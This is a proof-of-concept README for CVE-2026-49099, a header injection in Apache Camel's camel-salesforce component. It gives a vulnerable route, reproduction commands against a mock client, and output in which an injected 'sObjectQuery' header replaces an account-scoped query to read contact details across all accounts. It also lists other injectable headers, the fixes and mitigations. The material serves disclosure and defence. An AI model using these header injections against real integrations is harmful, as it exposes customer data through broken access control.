## https://sploitus.com/exploit?id=4AE5C4A3-94A9-56D4-9D4E-338590C6D20F
# camel-salesforce sObjectQuery / apex Header Injection Reproducer (CVE-2026-49099)
This project demonstrates a **message-header injection** in Apache Camel's `camel-salesforce` component, tracked
as **CVE-2026-49099**. The Salesforce processors read their operation parameters โ the SOQL query, SOSL search,
the SObject name/id, the Apex REST URL and method, and more โ from Exchange message headers.
`AbstractSalesforceProcessor.getParameter()` resolves the **header ahead of** the endpoint's configured value:
```java
// AbstractRestProcessor.processQuery (affected 4.18.2)
final String sObjectQuery = getParameter(SOBJECT_QUERY, exchange, USE_BODY, NOT_OPTIONAL); // header wins over config
...
restClient.query(sObjectQuery, determineHeaders(exchange), ...); // runs whatever SOQL the header supplied
```
The header constant values in `SalesforceEndpointConfig` are plain, lowercase camelCase strings โ
`sObjectQuery`, `sObjectSearch`, `sObjectName`, `sObjectId`, `apexUrl`, `apexMethod`, the `apexQueryParam.`
prefix, and others โ and the component ships **no HeaderFilterStrategy**. Because these names do not start with
the `Camel` / `camel` prefix, `HttpHeaderFilterStrategy` โ which blocks only the Camel header namespace at the
HTTP boundary โ lets them pass from an inbound HTTP request straight into the Exchange.
In a route that bridges an HTTP consumer (for example platform-http) into a `salesforce:` producer, any HTTP
client can therefore supply these headers and **override what the route intended** โ replacing a tenant-scoped
SOQL query with an arbitrary one, changing the target SObject for a CRUD call, or hijacking which Apex REST
endpoint is invoked โ all executed with the connected **integration user's** broad permissions.
This PoC demonstrates the impact as **SOQL query override / broken access control (CWE-74 + CWE-639)**: an
attacker replaces the route's account-scoped query with an unscoped one and reads sensitive contact fields across
every account the integration user can see.
Advisory: https://camel.apache.org/security/CVE-2026-49099.html
## Vulnerability Summary
| Property | Value |
|----------|-------|
| **Component** | `camel-salesforce` |
| **Affected Class** | `org.apache.camel.component.salesforce.internal.processor.AbstractSalesforceProcessor#getParameter` (header over config) with the `SalesforceEndpointConfig` `sObject*` / `apex*` constants |
| **CWE** | CWE-74 (Injection) / CWE-639 (Authorization Bypass Through User-Controlled Key) |
| **Impact** | SOQL/SOSL injection, SObject CRUD override, Apex REST endpoint hijack โ with the integration user's permissions |
| **Preconditions** | A route bridges an HTTP consumer into a `salesforce:` producer; unauthenticated when the consumer is |
| **Affected Versions** | From 4.0.0 before 4.14.8, from 4.15.0 before 4.18.3, from 4.19.0 before 4.21.0 |
| **Fixed Versions** | 4.14.8, 4.18.3, 4.21.0 |
| **JIRA** | CAMEL-23716 (PR [apache/camel#23887](https://github.com/apache/camel/pull/23887)) |
| **Credit** | Yu Bao (PayPal) |
> The fix renames the header-readable constants to the `CamelSalesforce*` convention (for example
> `sObjectQuery` โ `CamelSalesforceSObjectQuery`, `apexUrl` โ `CamelSalesforceApexUrl`), so they are filtered on
> the HTTP boundary like every other Camel control header. The endpoint-option spellings (`?sObjectQuery=`) are
> unchanged โ only the header name changes. Same family as CVE-2025-27636, CVE-2026-49097 and CVE-2026-49098.
## Why no Salesforce org is needed
The vulnerability is entirely in the processor's header-over-config precedence; the Salesforce REST client is
only transport. This reproducer supplies a `salesforce` component that returns a mock `RestClient` (and runs with
`lazyLogin=true`, so no OAuth is attempted). The **real** endpoint, producer and `AbstractRestProcessor` run
unchanged; the mock `RestClient.query(...)` records the SOQL string it was handed. No Salesforce account, OAuth,
or network is involved.
## The victim route
```java
from("platform-http:/contacts")
.to("salesforce:query?rawPayload=true"
+ "&sObjectQuery=SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'");
```
A "contacts" endpoint whose SOQL is pinned to a single account and non-sensitive fields. There is no query
parameter in the HTTP API โ the author assumes the caller cannot change the query. The attacker sets
`sObjectQuery` and the integration user runs an arbitrary statement.
## Repository layout
```
CVE-2026-49099/
โโโ pom.xml # camel-platform-http + camel-salesforce 4.18.2
โโโ Dockerfile
โโโ docker-compose.yml # single self-contained service
โโโ README.md
โโโ src/main/
โโโ java/com/example/
โ โโโ Application.java
โ โโโ RecordingSalesforceComponent.java # salesforce component returning a mock RestClient (no org/OAuth)
โ โโโ SalesforceConfig.java # registers it as the 'salesforce' component, lazyLogin=true
โ โโโ SoqlRecorder.java # captures the executed SOQL
โ โโโ VictimRoute.java # platform-http:/contacts -> salesforce:query (account-scoped)
โ โโโ ExploitController.java # attacker: injects sObjectQuery to drop the scope
โโโ resources/
โโโ application.properties
```
## Prerequisites
- Docker and Docker Compose
- Java 17+ and Maven 3.8+
## Reproduction Steps
```bash
mvn clean package -DskipTests
docker compose up -d --build
curl -s http://localhost:8080/exploit/attack
docker compose down
```
### Expected output
```
=== CVE-2026-49099 โ camel-salesforce sObjectQuery header injection (SOQL query override) ===
Route intent: POST /contacts runs a FIXED, account-scoped SOQL query:
SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'
1) Legitimate POST /contacts (no sObjectQuery header)
SOQL actually executed: SELECT Id, Name FROM Contact WHERE AccountId = '001XXXXXXXXXXXXXXX'
2) Injected POST /contacts with header 'sObjectQuery: SELECT Id, Name, Email, Phone, MailingStreet FROM Contact'
SOQL actually executed: SELECT Id, Name, Email, Phone, MailingStreet FROM Contact
>>> PROVEN: an inbound HTTP header (sObjectQuery) passed the Camel HTTP header filter and
>>> replaced the route's account-scoped query, so the integration user ran an attacker-chosen
>>> SOQL statement that drops the scope and reads sensitive fields across all accounts
>>> (SOQL injection / broken access control): true
```
## Attack Vectors
Any route that bridges an HTTP consumer into a `salesforce:` producer. Injectable headers include `sObjectQuery`
and `sObjectSearch` (SOQL/SOSL override), `sObjectName` / `sObjectId` (CRUD target override), and `apexUrl` /
`apexMethod` / `apexQueryParam.*` (Apex REST endpoint hijack) โ all executed with the integration user's
permissions.
## Recommended Fix
Upgrade to **4.14.8 / 4.18.3 / 4.21.0** (CAMEL-23716). After upgrading, routes that set these values via a header
must use the `CamelSalesforce*` names (for example `CamelSalesforceSObjectQuery`); the endpoint-option spellings
are unchanged.
## Mitigation
Until upgrading, strip the camel-salesforce control headers from any untrusted ingress before the `salesforce:`
producer (for example removing `sObjectQuery`, `sObjectSearch`, `sObjectName`, `sObjectId`, `apexUrl`,
`apexMethod` and related headers), and set the operation parameters from a trusted source.
## Disclaimer
This reproducer is provided for **security research and authorized testing only**, for a **publicly disclosed and
fixed** vulnerability. Do not use it against systems without explicit permission.